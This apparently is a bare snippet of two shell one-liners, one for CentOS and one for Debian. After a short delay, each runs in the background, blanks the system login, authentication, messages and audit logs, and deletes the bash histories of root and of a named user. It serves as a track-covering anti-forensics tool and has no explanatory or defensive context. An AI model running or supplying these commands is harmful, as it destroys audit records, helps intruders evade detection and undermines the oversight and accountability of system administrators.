CentOS:
sleep 5 && echo " " > /var/log/lastlog && echo " " > /var/log/wtmp && echo " " > /var/log/secure && echo " " > /var/log/messages && echo " " > /var/log/audit/audit.log && rm -rf /root/.bash_history && rm -rf /home/sericard/.bash_history &

Debian:
sleep 5 && echo " " > /var/log/lastlog && echo " " > /var/log/wtmp && echo " " > /var/log/auth.log && echo " " > /var/log/messages && rm -rf /root/.bash_history && rm -rf /home/henrique/.bash_history &